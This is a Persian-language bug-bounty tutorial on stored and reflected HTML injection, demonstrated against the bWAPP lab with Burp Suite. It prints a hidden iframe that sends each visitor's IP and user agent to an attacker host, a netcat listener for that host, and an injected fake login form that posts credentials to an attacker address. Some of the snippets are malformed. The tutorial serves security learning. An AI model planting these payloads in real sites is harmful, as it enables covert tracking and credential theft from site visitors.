مفهوم آسیب پذیری HTML Injection و نحوه شناسایی آن

در این مقاله به تزریق کد HTML به دو صورت stored و reflected POST می‌پردازیم. که در نوع stored خروجی کد وارد شده در وب سایت برای تمامی کاربران ظاهر می‌شود و درreflected POST تگ تزریق شده در صفحه وب ظاهر می‌شود. مانند سری‌های قبل در اینجا از دو ابزار burpsuite و bWAPP استفاده می‌کنیم.

در ادامه پست قبلی و سری آموزش‌های باگ بانتی در این مقاله به تزریق کد HTML به دو صورت stored و reflected POST می‌پردازیم.

در نوع stored خروجی کد وارد شده در وب سایت برای تمامی کاربران ظاهر می‌شود. مانند سری‌های قبل در اینجا از دو ابزار burpsuite و bWAPP استفاده می‌کنیم. برای توضیح این روش از پست‌های وبلاگ‌ها استفاده می‌شود زیرا معمولا کامنت گذاشتن در وبلاگ وب سایت‌ها دارای آسیب‌پذیری تزریق کد HTML می باشد و تگ‌های آن را مانند iframe می‌پذیرد.

کاربر در واقع متوجه وجود iframe در وب سایت نخواهد شد و با هر بازدید مشخصات بازدید کننده برای مهاجم ارسال می‌شود و حتی با inspect نمودن عناصر صفحه شناسایی آن سخت می‌شود.

برای تست این آسیب‌پذیری از تگ HTML استفاده می‌کنیم و پست جدید در وبلاگ ایجاد می کنیم تا بررسی شود آیا پردازش ورودی کاربر صورت می‌گیرد.

<h1>Hello</h1>

با فعالسازی burp و شنود ترافیک ارسالی به وب سرور، مشاهده می‌شود که کامنت در قالب تگ، درخواست بصورت post ارسال می‌شود. از این تکنیک برای بسیاری از حملات مانند آلوده سازی از طریق بدافزارها، ریدایرکشن به صفحه وب مورد نظر مهاجم و یا دریافت اطلاعات لاگین کاربران می توان استفاده نمود. در کد زیر از iframe برای ارسال اطلاعات کاربر مانند آدرس IP او به سرور مورد نظر خود استفاده می‌کنیم.

<iframe src=http://192.168.1.1:1234/test height="0" width="0"></iframe

در سمت سرور از netcat برای دریافت اطلاعات تنظیمات انجام می‌شود و بر روی پورت ۱۲۳۴ گوش می‌دهیم.

Nc –nvlp 1234

هنگامی که پست خود را در قالب iframe توضیح داده شده ارسال می‌کنیم، اطلاعات به سرور ارسال خواهد شد که در واقع آدرس IP و user agent او نمایش داده می‌شود. از این پس هر کاربری که پست را مشاهده می‌نماید در واقع iframe برای او اجرا شده و اطلاعات او نیز در سمت سرور قابل دریافت است.

در مرحله بعد ایجاد یک فرم برای دریافت اطلاعات کاربر مورد بررسی قرار می‌گیرد که از طریق مختلف مانند روش‌های مهندسی اجتماعی کاربر را به تکمیل فرم اجبار می‌نماید و در پست وبلاگ نمایش داده می‌شود که به سادگی برای تشریح نحوه اجرای این آسیب پذیری می‌توان استفاده نمود.

<form name="login" action="http://192.168.1.101:1234/test.html>

<table>

<tr><td>Username</tr></td><input type="text" name="username"/></td></tr>

<tr><td>Password</tr></td><input type="password" name="password"/></td></tr>

</table>

<input type="submit" value="Login"/>

</form>

در این بخش به بررسی آسیب‌پذیری تزریق HTML بصورت reflected POST می‌پردازیم. از نوار ابزار bWapp ، choose your bug در صفحه bWAPP گزینه HTML Injection – Reflected (POST) را انتخاب می‌کنیم که اطلاعات زیر نمایش داده می‌شود:

HTML Injection – Reflected (POST)/

Enter your first name and last name

First name

Last name

اجرای این نوع از حمله و بررسی آسیب‌پذیر بودن نسبت به این نوع باگ، پیچیده است و شرایط ایجاد آن دشوار است. این آسیب‌پذیری را از تغییر مقادیر فیلدهای پیج در burp انجام می‌دهیم که به عنوان مثال تگ HTML را جایگزین می‌نماییم که آیا پیام نمایش داده شده برای ما پردازش می‌گردد؟

برای فهمیدن طرز کار این روش حمله در صفحه باز شده در صفحه وب با وارد کردن First name و last name و زدن دکمه Go، مقادیر وارد شده روی صفحه نشان داده می‌شود. در ادامه با استفاده از foxy proxy و انتخاب گزینه Use Enable Proxies By patterns and Priority و Burp suite قسمت proxy با تغییر حالت آن به intercept is on و با تغییر مقادیر First name و Last name در Burp suite پارامتری‌هایی که به سرور می‌فرستد را نشان می‌دهد برای این کار کلید Forward را در burp suite می‌زنیم که کد فرستاده شده و دریافت شده در burp suite به شکل زیر نشان داده می‌شود:

firstname=test&lastname=test&form=submit

در ادامه می‌توان به جای test کد HTML را به ترتیب <h1>hello</h1> و <p>This is a HTML injection attack در burp suite قرار می‌دهیم و با زدن دکمه Forward کد با اعمال تگ در صفحه وب ظاهر می‌شود. این خروجی نشان می‌دهد که وب سایت به حمله تزریق HTML آسیب‌پذیر است و می‌توان از این طریق پست‌های که داخل صفحه وب گذاشته می‌شود را تغییر داد. البته این تغییر برای کاربر قابل مشاهده هست و بصورت ذخیره شده در دیتابیس نمی‌باشد تا دیگر کاربران نیز همچنان که در بخش قبل توضیح داده شد، مورد حمله قرار گرفته و نتایج دریافت شود.

منابع:

https://www.youtube.com/watch?v=ib3ZKFfRn3E&list=PLBf0hzazHTGNJXBjepzN7l9OHcuH9ZvOq&index=6

https://www.youtube.com/watch?v=eQIYhvKCWx4&list=PLBf0hzazHTGNJXBjepzN7l9OHcuH9ZvOq&index=7

در صورت تمایل به اشتراگ بگذارید